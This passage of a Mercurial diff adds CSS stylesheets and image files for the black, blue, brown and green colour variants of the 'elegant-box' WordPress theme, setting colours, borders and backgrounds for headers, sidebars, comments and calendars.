textarea#comment { + width:507px; +} +.commentlist .children .children .children .children .children .children .children textarea#comment { + width:483px; +} +.commentlist .children .children .children .children .children .children .children .children textarea#comment { + width:459px; +} +#submitbox { + margin:8px 0; + font-size:10px; + text-align:right; +} +#comments_rss { + padding:2px 0 2px 22px !important; + padding:2px 0 16px 22px; + float:left; + position:relative; +} +#submitbox .act { + float:right; +} +#submitbox #submit { + cursor:pointer; +} +#emoticon { + margin-right:10px; + float:right; +} +#respond .row { + margin:0 3px 5px 0; + text-align:left; + font-size:10px; +} +#commentnavi { + font-size:10px; + margin-bottom:15px; +} +#commentnavi a.page-numbers { + padding:0 3px; +} +#commentnavi span.pages { + padding:0 9px 0 0; + float:left; +} +#commentnavi span.current { + padding:0 3px; + font-weight:bold; +} +/* comments END */ + +/* calendar START */ +.widget_calendar h3 { + display:none; +} +#wp-calendar { + width:100%; + border-collapse:collapse; +} +#wp-calendar #today { + font-weight:bold; +} +#wp-calendar tbody a { + font-weight:bold; +} +#wp-calendar caption { + padding:5px; + font-weight:bold; + font-size:11px; + text-align:left; +} +#wp-calendar th, +#wp-calendar td { + text-align:center; +} +#wp-calendar th { + padding:4px 0; +} +#wp-calendar td { + font-size:11px; + padding:4px 0 0; +} +#wp-calendar td#prev { + text-align:left; + padding:9px 0 5px 5px; + font-size:10px; +} +#wp-calendar td#next { + text-align:right; + padding:5px 5px 5px 0; + font-size:10px; +} +/* calendar END */ + +/* links START */ +.post .content .linkcat ul li { + float:left; + list-style:none; + padding-left:0; + padding-bottom:8px; + width:25% !important; + width:24%; + height:16px; + line-height:24px; + overflow:hidden; + padding-left:0 !important; + padding-left:0; + text-indent:0 !important; + text-indent:0; +} +*+html .post .content .linkcat ul li { + padding-left:0 !important; + text-indent:0 !important; +} +/* links END */ + +/* related posts START */ +#related_posts { + border:1px solid; + padding:1px; +} +#related_posts h3 { + padding:5px 10px 6px; + font-size:11px; +} +#related_posts ul { + padding:3px 10px 8px; +} +#related_posts ul li { + list-style:none; + padding:3px 5px; + line-height:18px; + border-width:0 0 1px; + border-style:dashed; +} +#related_posts .count { + font-size:10px; +} +#related_posts .excerpt { + font-size:11px; + display:block; +} +#related_posts .info { + border:0; +} +/* related posts END */ diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/black/background.jpg Binary file web/wp-content/themes/elegant-box/styles/black/background.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/black/comment.gif Binary file web/wp-content/themes/elegant-box/styles/black/comment.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/black/content_background.gif Binary file web/wp-content/themes/elegant-box/styles/black/content_background.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/black/default.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/elegant-box/styles/black/default.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,307 @@ +body { + background:#393939; + color:#BABABA; +} +blockquote, pre { + background:#525252; + border-left:5px solid #3E3E3E; + border-bottom:1px solid #525252; + padding:5px 10px 4px 10px; +} +a { + color:#EEEEEC; +} +textarea, .textfield { + border:1px solid #3E3E3E; + padding:3px; + font-size:12px; +} +textarea { + background:#838383 url(textarea_background.png) repeat-x; + color:#FFF; +} +.textfield { + background:#686868 url(textfield_background.png) repeat-x; + color:#FFF; +} +.valid { + color:#fff; +} +.invalid { + color:#b8b8b8; +} +.button, +a#cancel-comment-reply-link { + background:#3F3F3F; + border-color:#737373 #272727 #272727 #737373; + color:#898989 !important; + color:#DDD; +} +.button:hover, +a#cancel-comment-reply-link:hover { + background:#333; + border-color:#272727 #333 #333 #272727; + color:#DDD !important; +} +.sided, +.wp-caption { + background:#525252; + border:1px solid #2F2F2F; +} +a .sided:hover { + background:#787878; +} +.boxcaption, +.box, +#related_posts, +#related_posts ul li { + border-color:#3E3E3E; + background:#525252; +} +.boxcaption h3, +#related_posts h3 { + background:#3E3E3E; +} +.messagebox .content { + background:#525252; +} +.bottom_separator { + border-bottom:1px dashed #787878; +} + +/* header START */ +#header { + border-bottom:1px solid #343434; +} +#header .inner { + background:#4f4f4f; + border-bottom:1px solid #606060; +} +#header .caption { + border-color:#3E3E3E; +} +#title a { + color:#999; + text-decoration:none; +} +#title a:hover { + color:#CCC; +} +#tagline { + color:#787878; +} +#navigation li a { + border-color:#777; +} +#searchbox .textfield { + background:#fff url(search_background.gif) no-repeat left; + background-position:0 0 !important; + background-position:0 -21px; +} +#searchbox .textfield:focus { + background-position:0 -21px !important; +} +#searchbox .searchtip { + color:#999; +} +#navigation li a#feed img { + background-image:url(feed_switch.gif); +} +#navigation li a#twitter img { + background-image:url(twitter_switch.gif); +} +/* header END */ + +/* submenu START */ +#navigation li ul { + background:#606060; + border-color:#393939; +} +/* submenu END */ + +/* main START */ +#container { + background:#525252 url(background.jpg) repeat; +} +#content { + background:#606060 url(content_background.gif) repeat-y top right; + border-top:1px solid #393939; + border-left:1px solid #393939; + border-bottom:1px solid #2F2F2F; + border-right:1px solid #2F2F2F; +} +#bottom .postnav { + border-top:1px dashed #787878; +} +#bottom .anchor span { + background:url(go_top.gif) no-repeat left center; +} +#notice { + border:1px solid #393939; +} +#notice .inner { + background:#4B4B4B; + border-top:1px solid #787878; + border-right:1px solid #515151; + border-bottom:1px solid #515151; + border-left:1px solid #787878; +} +#notice .icon { + background:url(notice.gif) no-repeat top left; +} +#notice .content .separator { + border-right:1px solid #787878; +} +#main { + padding-right:14px; + padding-left:14px; + border-top:1px solid #787878; + border-left:1px solid #787878; + border-right:1px solid #2F2F2F; +} +.post .title h2 { + color:#EEEEEC; + padding-bottom:3px; + border-bottom:1px solid #494949; +} +.post .comments { + background:url(comment.gif) no-repeat bottom left; +} +.post .title a { + color:#EEEEEC; + text-decoration:none; +} +.post .title a:hover { + color:#CCC; +} +.post .info { + border-top:1px solid #787878; +} +.post .content table { + background:#666; + border-color:#2A2A2A; +} +.post .content th, +.post .content td { + border-color:#2A2A2A; +} +.post .content tr.even td { + background:#555; +} +.post .content th { + background:#444; +} +/* main END */ + +/* sidebar START */ +#sidebar { + background:#4b4b4b; + border-top:1px solid #787878; + border-left:1px solid #787878; +} +#sidebar h3, +.widget .showcase { + background:#525252; +} +#sidebar a h3 { + color:#BABABA; +} +#styleswitcher, #sidebar a:hover h3 { + background:#686868; +} +#styleswitcher span.color { + background:#4f4f4f; + border:1px solid #aaa; +} +#styleswitcher #style-black { + margin-top:0px; +} +#styleswitcher #style-black a img { + background:#4f4f4f; + width:12px; + height:12px; +} +.widget ul li { + border-bottom:1px solid #525252; +} +.widget ul li ul li { + border-top:1px solid #525252; +} +.sidedate { + color:#999; +} +/* sidebar END */ + +/* footer START */ +#footer { + border-top:1px solid #343434; +} +#footer .inner { + background:#393939; + border-top:1px solid #494949; +} +/* footer END */ + +/* comments START */ +.commentlist .comment { + background:#464646; + border-color:#393939; +} +.userinfo { + background:#3E3E3E; + border-bottom:1px solid #393939; +} +.userinfo .userpic img { + border:1px solid #FFF; + background-color:#FFF; +} +#comments_rss { + background:url(feed.gif) no-repeat top left; +} +#trackbacks { + border-color:#2F2F2F; +} +#trackbacks .caption { + background:#525252; +} +#trackbacks li { + border-color:#3E3E3E; +} +/* comment END */ + +/* calendar START */ +#calendar_wrap { + background:#525252; +} +#wp-calendar th { + background:#686868; +} +/* calendar END */ + +/* wp-pagenavi START */ +.wp-pagenavi a:hover { + background:#686868; +} +.wp-pagenavi span.current { + background:#525252; +} +/* wp-pagenavi END */ + +/* wp-recentcomments START */ +.rc_item .rc_avatar img { + background:#FFF; + border-color:#FFF; +} +/* wp-recentcomments END */ + +/* wp-syntax START */ +.wp_syntax { + color:#333; + background:#CCC; + border:1px solid #999; +} +.wp_syntax .line_numbers { + color:#FFF; + background:#999; +} +/* wp-syntax END */ diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/black/feed.gif Binary file web/wp-content/themes/elegant-box/styles/black/feed.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/black/feed_switch.gif Binary file web/wp-content/themes/elegant-box/styles/black/feed_switch.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/black/global.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/elegant-box/styles/black/global.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,6 @@ +#style-black a img { + background:#777; +} +#style-black a:hover img { + background:#4f4f4f; +} \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/black/go_top.gif Binary file web/wp-content/themes/elegant-box/styles/black/go_top.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/black/notice.gif Binary file web/wp-content/themes/elegant-box/styles/black/notice.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/black/search_background.gif Binary file web/wp-content/themes/elegant-box/styles/black/search_background.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/black/textarea_background.png Binary file web/wp-content/themes/elegant-box/styles/black/textarea_background.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/black/textfield_background.png Binary file web/wp-content/themes/elegant-box/styles/black/textfield_background.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/black/twitter_switch.gif Binary file web/wp-content/themes/elegant-box/styles/black/twitter_switch.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/blue/background.gif Binary file web/wp-content/themes/elegant-box/styles/blue/background.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/blue/comment.gif Binary file web/wp-content/themes/elegant-box/styles/blue/comment.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/blue/content_background.gif Binary file web/wp-content/themes/elegant-box/styles/blue/content_background.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/blue/default.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/elegant-box/styles/blue/default.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,283 @@ +body { + background:#C0DCF3; + color:#434854; +} +blockquote,pre { + background:#E3F0FA; + border:1px dashed #89A6C6; +} +a { + color:#3465A4; +} +textarea,.textfield { + background:#FFF; + border:1px solid #89A6C6; + padding:3px; + font-size:12px; +} +.valid { + color:#119900; +} +.invalid { + color:#ff4a00; +} +.button, +a#cancel-comment-reply-link { + background:#3465A4; + border-color:#3465A4 #0D1F5B #0D1F5B #3465A4; + color:#FFFFFF; +} +.button:hover, +a#cancel-comment-reply-link:hover { + background:#1C4584; + border-color:#0D1F5B #3465A4 #3465A4 #0D1F5B; +} +.sided, +.wp-caption { + background:#EEF6FE; + border:1px solid #B0C6D9; +} +a .sided:hover { + border-color:#204A87; +} +.boxcaption, +.box, +#related_posts, +#related_posts ul li { + border-color:#89A6C6; + background:#FFF; +} +.boxcaption h3, +#related_posts h3, +.messagebox .content { + background:#EEF6FE; +} +.bottom_separator { + border-bottom:1px dashed #89A6C6; +} + +/* header START */ +#header { + border-bottom:1px solid #89A6C6; +} +#header .inner { + background:#E3F0FA; + border-bottom:1px solid #FFF; +} +#header .caption { + border-color:#9CACC3; +} +#title a { + color:#434854; + text-decoration:none; +} +#title a:hover { + color:#204A87; +} +#tagline { + color:#5C7083; +} +#navigation li a { + border-color:#B0C6D9; +} +#searchbox .textfield { + border:1px solid #BCCCD9; + background:#F6FCFF url(search_background.gif) no-repeat right !important; + background:#F6FCFF url(search_background_ie.gif) no-repeat right; + background-position:0 0 !important; + background-position:0 -21px; +} +#searchbox .textfield:focus { + border:1px solid #89A6C6; + background:#FFF url(search_background.gif) no-repeat right !important; + background-position:0 -21px !important; +} +#searchbox .searchtip { + color:#BCCCD9; +} +#navigation li a#feed img { + background-image:url(feed_switch.gif); +} +#navigation li a#twitter img { + background-image:url(twitter_switch.gif); +} +/* header END */ + +/* submenu START */ +#navigation li ul { + background:#D9ECFB; + border-color:#89A6C6; +} +/* submenu END */ + +/* main START */ +#container { + background:#F9FCFF url(background.gif) repeat; +} +#content { + background:#F6FCFF url(content_background.gif) repeat-y top right; + border:solid 1px #89A6C6; +} +#bottom .postnav { + border-top:1px dashed #89A6C6; +} +#bottom .anchor span { + background:url(go_top.gif) no-repeat left center; +} +#notice { + border:1px solid #89A6C6; +} +#notice .inner { + background:#D6E9FA; + border:1px solid #FFF; +} +#notice .icon { + background:url(notice.gif) no-repeat top left; +} +#notice .content .separator { + border-right:1px solid #89A6C6; +} +.post .title h2 { + color:#3465A4; + padding-bottom:3px; + border-bottom:1px solid #E0ECF6; +} +.post .title a { + color:#3465A4; + text-decoration:none; +} +.post .title a:hover { + color:#204A87; +} +.post .info, +#related_posts .excerpt { + color:#5C7083; +} +.post .comments { + background:url(comment.gif) no-repeat bottom left; +} +.post .content table { + background:#FFF; + border-color:#B0C6D9; +} +.post .content th, +.post .content td { + border-color:#B0C6D9; +} +.post .content tr.even td { + background:#E3F0FA; +} +.post .content th { + background:#C0DCF3; +} +/* main END */ + +/* sidebar START */ +#sidebar { + background:#D9ECFB; + border-left:1px solid #B0C6D9; +} +#sidebar h3, +.widget .showcase { + background:#C0DCF3; +} +#sidebar a h3 { + color:#434854; +} +#styleswitcher,#sidebar a:hover h3 { + background:#A3C6EC; +} +#styleswitcher span.color { + background:#FFF; + border:1px solid #666; +} +#styleswitcher #style-blue { + margin-top:0px; +} +#styleswitcher #style-blue a img { + background:#639CC9; + width:12px; + height:12px; +} +.widget ul li { + border-bottom:1px solid #C0DCF3; +} +.widget ul li ul li { + border-top:1px solid #C0DCF3; +} +.sidedate { + color:#A0B6C9; +} +/* sidebar END */ + +/* footer START */ +#footer { + border-top:1px solid #89A6C6; +} +#footer .inner { + background:#C0DCF3; + border-top:1px solid #ECF3FE; +} +/* footer END */ + +/* comments START */ +.commentlist .comment { + background:#FFF; + border-color:#89A6C6; +} +.userinfo { + background:#EEF6FE; +} +.userinfo .userpic { + border:1px solid #999; + background-color:#FFF; +} +#comments_rss { + background:url(feed.gif) no-repeat top left; +} +#trackbacks, +#trackbacks li { + border-color:#89A6C6; +} +#trackbacks .caption { + background:#EEF6FE; +} +#trackbacks li small { + color:#5C7083; +} +/* comments END */ + +/* calendar START */ +#calendar_wrap { + background:#C0DCF3; +} +#wp-calendar th { + background:#ACCCE1; +} +/* calendar END */ + +/* wp-pagenavi START */ +.wp-pagenavi a:hover { + background:#C0DCF3; +} +.wp-pagenavi span.current { + background:#E3F0FA; +} +/* wp-pagenavi END */ + +/* wp-recentcomments START */ +.rc_item .rc_avatar img { + background:#FFF; + border-color:#89A6C6; +} +/* wp-recentcomments END */ + +/* wp-syntax START */ +.wp_syntax { + background:#F6FCFF; + border:1px solid #B0C6D9; +} +.wp_syntax .line_numbers { + background:#D9ECFB; +} +/* wp-syntax END */ diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/blue/feed.gif Binary file web/wp-content/themes/elegant-box/styles/blue/feed.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/blue/feed_switch.gif Binary file web/wp-content/themes/elegant-box/styles/blue/feed_switch.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/blue/global.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/elegant-box/styles/blue/global.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,6 @@ +#style-blue a img { + background:#86B3E3; +} +#style-blue a:hover img { + background:#639CC9; +} \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/blue/go_top.gif Binary file web/wp-content/themes/elegant-box/styles/blue/go_top.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/blue/notice.gif Binary file web/wp-content/themes/elegant-box/styles/blue/notice.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/blue/search_background.gif Binary file web/wp-content/themes/elegant-box/styles/blue/search_background.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/blue/search_background_ie.gif Binary file web/wp-content/themes/elegant-box/styles/blue/search_background_ie.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/blue/twitter_switch.gif Binary file web/wp-content/themes/elegant-box/styles/blue/twitter_switch.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/brown/background.gif Binary file web/wp-content/themes/elegant-box/styles/brown/background.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/brown/comment.gif Binary file web/wp-content/themes/elegant-box/styles/brown/comment.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/brown/content_background.gif Binary file web/wp-content/themes/elegant-box/styles/brown/content_background.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/brown/default.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/elegant-box/styles/brown/default.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,285 @@ +body { + background:#D6BF91; + color:#271a00; +} +blockquote,pre { + background:#EDE1CB; + border:1px dashed #A07828; +} +a { + color:#432d00; +} +a:hover { + color: #722d00; +} +textarea,.textfield { + background:#FFF; + border:1px solid #A07828; + padding:3px; + font-size:12px; +} +.valid { + color:#119900; +} +.invalid { + color:#ff4a00; +} +.button, +a#cancel-comment-reply-link { + background:#704818; + border-color:#704818 #503818 #503818 #704818; + color:#FFFFFF; +} +.button:hover, +a#cancel-comment-reply-link:hover { + background:#482d10; + border-color:#0D1F5B #503818 #503818 #0D1F5B; +} +.sided, +.wp-caption { + background:#FFF; + border:1px solid #A07828; +} +a .sided:hover { + border-color:#722d00; +} +.boxcaption, +.box, +#related_posts, +#related_posts ul li { + border-color:#A07828; + background:#FFF; +} +.boxcaption h3, +#related_posts h3, +.messagebox .content { + background:#F3ECDC; +} +.bottom_separator { + border-bottom:1px dashed #A07828; +} + +/* header START */ +#header { + border-bottom:1px solid #A07828; +} +#header .inner { + background:#EDE1CB; + border-bottom:1px solid #FFF; +} +#header .caption { + border-color:#A98337; +} +#title a { + color:#271A00; + text-decoration:none; +} +#title a:hover { + color:#722D00; +} +#tagline { + color:#593B00; +} +#navigation li a { + border-color:#C2A365; +} +#searchbox .textfield { + border:1px solid #C8AB71; + background:#FAF6F0 url(search_background.gif) no-repeat right !important; + background:#FAF6F0 url(search_background_ie.gif) no-repeat right; + background-position:0 0 !important; + background-position:0 -21px; +} +#searchbox .textfield:focus { + border:1px solid #A07828; + background:#FFF url(search_background.gif) no-repeat right !important; + background-position:0 -21px !important; +} +#searchbox .searchtip { + color:#DACCB6; +} +#navigation li a#feed img { + background-image:url(feed_switch.gif); +} +#navigation li a#twitter img { + background-image:url(twitter_switch.gif); +} +/* header END */ + +/* submenu START */ +#navigation li ul { + background:#DCC699; + border-color:#A07828; +} +/* submenu END */ + +/* main START */ +#container { + background:#F9FCFF url(background.gif) repeat; +} +#content { + background:#FAF6F0 url(content_background.gif) repeat-y top right; + border:solid 1px #A07828; +} +#bottom .postnav { + border-top:1px dashed #A07828; +} +#bottom .anchor span { + background:url(go_top.gif) no-repeat left center; +} +#notice { + border:1px solid #A07828; +} +#notice .inner { + background:#E7D8BB; + border:1px solid #FFF; +} +#notice .icon { + background:url(notice.gif) no-repeat top left; +} +#notice .content .separator { + border-right:1px solid #A07828; +} +.post .title h2 { + color:#432d00; + padding-bottom:3px; + border-bottom:1px solid #E8DABE; +} +.post .title a { + color:#432d00; + text-decoration:none; +} +.post .title a:hover { + color:#722d00; +} +.post .info, +#related_posts .excerpt { + color:#C2A365; +} +.post .comments { + background:url(comment.gif) no-repeat bottom left; +} +.post .content table { + border-color:#C2A365; +} +.post .content th, +.post .content td { + border-color:#C2A365; +} +.post .content tr.even td { + background:#F3ECDC; +} +.post .content th { + background:#D6BF91; +} +/* main START */ + +/* sidebar START */ +#sidebar { + background:#E7D8BB; + border-left:1px solid #C2A365; +} +#sidebar h3, +.widget .showcase { + background:#D6BF91; +} +#sidebar a h3 { + color:#271a00; +} +#styleswitcher,#sidebar a:hover h3 { + background:#C0A061; +} +#styleswitcher span.color { + background:#FFF; + border:1px solid #666; +} +#styleswitcher #style-brown { + margin-top:0px; +} +#styleswitcher #style-brown a img { + background:#906838; + width:12px; + height:12px; +} +.widget ul li { + border-bottom:1px solid #D6BF91; +} +.widget ul li ul li { + border-top:1px solid #D6BF91; +} +.sidedate { + color:#B28E46; +} +/* sidebar END */ + +/* footer START */ +#footer { + border-top:1px solid #A07828; +} +#footer .inner { + background:#D6BF91; + border-top:1px solid #F1E8D6; +} +/* footer END */ + +/* comments START */ +.commentlist .comment { + background:#FFF; + border-color:#A07828; +} +.userinfo { + background:#F3ECDC; +} +.userinfo .userpic { + border:1px solid #A07828; + background-color:#FFF; +} +#comments_rss { + background:url(feed.gif) no-repeat top left; +} +#trackbacks, +#trackbacks li { + border-color:#A07828; +} +#trackbacks .caption { + background:#F3ECDC; +} +#trackbacks li small { + color:#C2A365; +} +/* comments END */ + +/* calendar START */ +#calendar_wrap { + background:#D6BF91; +} +#wp-calendar th { + background:#C9A969; +} +/* calendar END */ + +/* wp-pagenavi START */ +.wp-pagenavi a:hover { + background:#D6BF91; +} +.wp-pagenavi span.current { + background:#EDE1CB; +} +/* wp-pagenavi END */ + +/* wp-recentcomments START */ +.rc_item .rc_avatar img { + background:#FFF; + border-color:#A07828; +} +/* wp-recentcomments END */ + +/* wp-syntax START */ +.wp_syntax { + background:#FAF6F0; + border:1px solid #C2A365; +} +.wp_syntax .line_numbers { + background:#E7D8BB; +} +/* wp-syntax END */ diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/brown/feed.gif Binary file web/wp-content/themes/elegant-box/styles/brown/feed.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/brown/feed_switch.gif Binary file web/wp-content/themes/elegant-box/styles/brown/feed_switch.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/brown/global.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/elegant-box/styles/brown/global.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,6 @@ +#style-brown a img { + background:#C0A061; +} +#style-brown a:hover img { + background:#906838; +} \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/brown/go_top.gif Binary file web/wp-content/themes/elegant-box/styles/brown/go_top.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/brown/notice.gif Binary file web/wp-content/themes/elegant-box/styles/brown/notice.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/brown/search_background.gif Binary file web/wp-content/themes/elegant-box/styles/brown/search_background.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/brown/search_background_ie.gif Binary file web/wp-content/themes/elegant-box/styles/brown/search_background_ie.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/brown/twitter_switch.gif Binary file web/wp-content/themes/elegant-box/styles/brown/twitter_switch.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/green/background.jpg Binary file web/wp-content/themes/elegant-box/styles/green/background.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/green/comment.gif Binary file web/wp-content/themes/elegant-box/styles/green/comment.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/green/content_background.gif Binary file web/wp-content/themes/elegant-box/styles/green/content_background.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/green/default.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/elegant-box/styles/green/default.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,297 @@ +body { + background:#D6EBF5; + color:#333; +} +blockquote,pre { + background:#F0F6E9; + border:#B2D281 dashed 1px; +} +a { + color:#0B75B6; +} +textarea,.textfield { + background:#FFF; + border:1px solid #90B683; + padding:3px; + font-size:12px; +} +.valid { + color:#119900; +} +.invalid { + color:#ff4a00; +} +.button, +a#cancel-comment-reply-link { + background:#006CB1; + border-color:#006CB1 #0E1F5B #0E1F5B #006CB1; + color:#FFF; +} +.button:hover, +a#cancel-comment-reply-link:hover { + background:#004C93; + border-color:#0E1F5B #006CB1 #006CB1 #0E1F5B; +} +.sided, +.wp-caption { + background:#F0F6E9; + border:1px solid #C6D6BE; +} +a .sided:hover { + border-color:#4B7D24; +} +.boxcaption, +.box, +#related_posts, +#related_posts ul li { + border-color:#90B683; + background:#FFF; +} +.boxcaption h3, +#related_posts h3, +.messagebox .content { + background:#F0F6E9; +} +.bottom_separator { + border-bottom:1px dashed #959E87; +} + +/* header START */ +#header { + border-bottom:1px solid #84b092; +} +#header .inner { + background:#E7F1D7; + border-bottom:1px solid #F6FFF0; +} +#header .caption { + border-color:#959E87; +} +#title a { + color:#666; + text-decoration:none; +} +#title a:hover { + color:#006CB1; +} +#tagline { + color:#959E87; +} +#navigation li a { + border-color:#C6D6BE; +} +#searchbox .textfield { + border:1px solid #B2D281; + background:#FCFFF6 url(search_background.gif) no-repeat right !important; + background:#FCFFF6 url(search_background_ie.gif) no-repeat right; + background-position:0 0 !important; + background-position:0 -21px; +} +#searchbox .textfield:focus { + border:1px solid #84b092; + background:#FFF url(search_background.gif) no-repeat right !important; + background-position:0 -21px !important; +} +#searchbox .searchtip { + color:#CCD3C5; +} +#navigation li a#feed img { + background-image:url(feed_switch.gif); +} +#navigation li a#twitter img { + background-image:url(twitter_switch.gif); +} +/* header END */ + +/* submenu START */ +#navigation li ul { + background:#E7F1D7; + border-color:#84B092; +} +/* submenu END */ + +/* main START */ +#container { + background:#E3ECE6 url(background.jpg) repeat; +} +#content { + background:#FCFFF6 url(content_background.gif) repeat-y top right; + border:solid 1px #84b092; + border-right:solid 1px #6996AC; + border-bottom:none; +} +#bottom { + border-bottom:1px solid #84B092; +} +#bottom .postnav { + border-top:1px dashed #84B092; +} +#bottom .anchor { + border-bottom:1px solid #6996AC; +} +#bottom .anchor span { + background:url(go_top.gif) no-repeat left center; +} +#notice { + border:1px solid #84B092; +} +#notice .inner { + background:#E0F6D9; + border:1px solid #FFF; +} +#notice .icon { + background:url(notice.gif) no-repeat top left; +} +#notice .content .separator { + border-right:1px solid #84B092; +} +.sidedate { + color:#93AFCB; +} +.post .title h2 { + color:#5C793C; + padding-bottom:3px; + border-bottom:1px solid #D7E0C7; +} +.post .title a { + color:#5C793C; + text-decoration:none; +} +.post .title a:hover { + color:#006CB1; +} +.post .info, +#related_posts .excerpt { + color:#959E87; +} +.post .comments { + background:url(comment.gif) no-repeat bottom left; +} +.post .content table { + background:#FFF; + border-color:#90B683; +} +.post .content th, +.post .content td { + border-color:#90B683; +} +.post .content tr.even td { + background:#F0F6E9; +} +.post .content th { + background:#C6D6BE; +} +/* main END */ + +/* sidebar START */ +#sidebar { + background:#d6ebf5; + border-style:solid; + border-color:#6996AC; + border-width:1px 0 0 1px; + margin-top:-1px; +} +#sidebar h3, +.widget .showcase { + background:#BED6E5; +} +#sidebar a h3 { + color:#333; +} +#styleswitcher,#sidebar a:hover h3 { + background:#A3C1C7; +} +#styleswitcher span.color { + background:#fff; + border:1px solid #666; +} +#styleswitcher #style-green { + margin-top:0px; +} +#styleswitcher #style-green a img { + background:#90B683; + width:12px; + height:12px; +} +.widget ul li { + border-bottom:1px solid #BED6E5; +} +.widget ul li ul li { + border-top:1px solid #BED6E5; +} +/* sidebar END */ + +/* footer START */ +#footer { + border-top:1px solid #89A6C6; +} +#footer .inner { + background:#D6EBF5; + border-top:1px solid #E6FCFF; +} +/* footer END */ + +/* comments START */ +.commentlist .comment { + background:#FFF; + border-color:#90B683; +} +.userinfo { + background:#F0F6E9; +} +.userinfo .userpic { + background-color:#fff; + border:1px solid #999; +} +.userinfo a { + color:#5C793C; +} +#comments_rss { + background:url(feed.gif) no-repeat top left; +} +#trackbacks, +#trackbacks li { + border-color:#90B683; +} +#trackbacks .caption { + background:#F0F6E9; +} +#trackbacks li small { + color:#959E87; +} +/* comments END */ + +/* calendar START */ +#calendar_wrap { + background:#BED6E5; +} +#wp-calendar th { + background:#AEC5D4; +} +/* calendar END */ + +/* wp-pagenavi START */ +.wp-pagenavi a:hover { + background:#D6EBF5; +} +.wp-pagenavi span.current { + background:#F0F6E9; +} +/* wp-pagenavi END */ + +/* wp-recentcomments START */ +.rc_item .rc_avatar img { + background:#FFF; + border-color:#6996AC; +} +/* wp-recentcomments END */ + +/* wp-syntax START */ +.wp_syntax { + background:#F0F6E9; + 